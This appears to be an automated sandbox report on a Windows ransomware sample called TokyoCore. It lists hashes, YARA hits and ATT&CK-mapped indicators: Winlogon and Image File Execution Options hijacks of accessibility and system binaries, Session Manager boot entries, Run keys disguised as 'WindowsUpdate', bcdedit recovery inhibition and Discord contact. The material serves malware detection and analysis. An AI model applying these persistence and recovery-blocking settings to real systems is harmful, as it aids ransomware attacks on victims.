tokyocore | 386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc

Analysis

geolocation tags

nanew-jerseynorth-americaunited-statesususa
user interaction
yes
max time kernel
5s
max time network
344s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
10/09/2026, 17:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Size 3.3MB
Sample260910-vpmt5sem4s
SHA256 386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc
MD5 d77aa7f5bf7c008232f4cbec127c30db
SHA1 3701617822f99debbf2579602b32eb99034581ad
SHA512 dca182637bcc510cfba855040df4f422c30b7c42af48351281534fde1804341bb7359d3c0e61c3cde8085273c1ad8387e248ab49bb92fce3724aa96c9a4615c9
SSDEEP 24576:i7MuEwvKJEdcI63li+WsOxP5g2IvMJJHfO2NprH2K:sMupsvBWsOxPVZJWEzP
TLSH
T12EF5D91BF7B610D5E1BAC039D553622AFC7134A6833C97EB92818E491B60BE4EE3D750
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion execution tokyocore persistence privilege_escalation ransomware

Malware Config

Signatures

Family: TokyoCore
TokyoCore is a Windows ransomware written in C++.
ransomware tokyocore

Detects TokyoCore 45 IoCs

resource	yara_rule
behavioral1/memory/5184-0-0x00007FF725B50000-0x00007FF725FD7000-memory.dmp	family_tokyocore
behavioral1/files/0x002b00000002b224-5.dat	family_tokyocore
behavioral1/memory/1836-9-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/5096-10-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/5224-21-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/5840-25-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/5484-26-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/732-29-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/1836-43-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/5096-44-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/4020-61-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/5888-64-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/5484-86-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/1676-88-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/2192-87-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/732-97-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/3260-98-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/1812-128-0x00007FF725B50000-0x00007FF725FD7000-memory.dmp	family_tokyocore
behavioral1/memory/1676-84-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/3936-69-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/1812-30-0x00007FF725B50000-0x00007FF725FD7000-memory.dmp	family_tokyocore
behavioral1/memory/5184-28-0x00007FF725B50000-0x00007FF725FD7000-memory.dmp	family_tokyocore
behavioral1/memory/5840-23-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/5888-15-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/3420-14-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/3420-12-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/4020-193-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/3380-194-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/3936-196-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/3824-198-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/5224-207-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/3380-197-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/3260-211-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/1836-229-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/4052-234-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/3824-239-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/2520-248-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/2520-246-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/2652-243-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/5244-242-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/2652-240-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/3188-237-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/4052-236-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/3188-274-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore
behavioral1/memory/5244-287-0x00007FF6D79A0000-0x00007FF6D7E27000-memory.dmp	family_tokyocore

Modifies WinLogon for persistence 2 TTPs 14 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	fsociety.exe

Modifies boot configuration data using bcdedit 1 TTPs 11 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
436	bcdedit.exe
3996	bcdedit.exe
1788	bcdedit.exe
5868	bcdedit.exe
5664	bcdedit.exe
6872	bcdedit.exe
6204	bcdedit.exe
8160	Process not Found
892	Process not Found
7620	Process not Found
7184	Process not Found

Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4380	powershell.exe
8112	powershell.exe
648	Process not Found
7460	Process not Found
5472	powershell.exe
7004	powershell.exe
6772	powershell.exe
6308	powershell.exe
4552	powershell.exe
440	powershell.exe
7512	Process not Found
3844	powershell.exe
3176	powershell.exe
6480	powershell.exe
7520	powershell.exe
7728	Process not Found

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 61 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smss.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrss.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrss.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrss.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smss.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smss.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	fsociety.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwm.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwm.exe\Debugger = "C:\\Windows\\system32\\dwm.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwm.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe

Uses Session Manager for persistence 2 TTPs 3 IoCs

Creates Session Manager registry key to run executable early in system boot.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager\BootExecute = 220043003a005c00570069006e0064006f00770073005c00730079007300740065006d00330032005c00640077006d002e00650078006500220000006100750074006f0063006800650063006b0020006100750074006f00630068006b0020002a000000	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager\SetupExecute = 220043003a005c00570069006e0064006f00770073005c00730079007300740065006d00330032005c00640077006d002e00650078006500220000000000	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager\Execute = 220043003a005c00570069006e0064006f00770073005c00730079007300740065006d00330032005c00640077006d002e00650078006500220000000000	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe	fsociety.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 8 IoCs

pid	Process
1836	fsociety.exe
5096	fsociety.exe
3420	fsociety.exe
5888	fsociety.exe
5224	fsociety.exe
5840	fsociety.exe
5484	fsociety.exe
732	fsociety.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WindowsUpdate = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TOKYOCORERansom = "C:\\Users\\Admin\\AppData\\Local\\Temp\\386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe

Contacts third-party web service commonly abused for C2 1 TTPs 12 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
5	discord.com
7	discord.com
36	discord.com
127	discord.com
28	discord.com
51	discord.com
54	discord.com
61	discord.com
92	discord.com
103	discord.com
110	discord.com
1	discord.com

Modifies WinLogon 2 TTPs 40 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	fsociety.exe
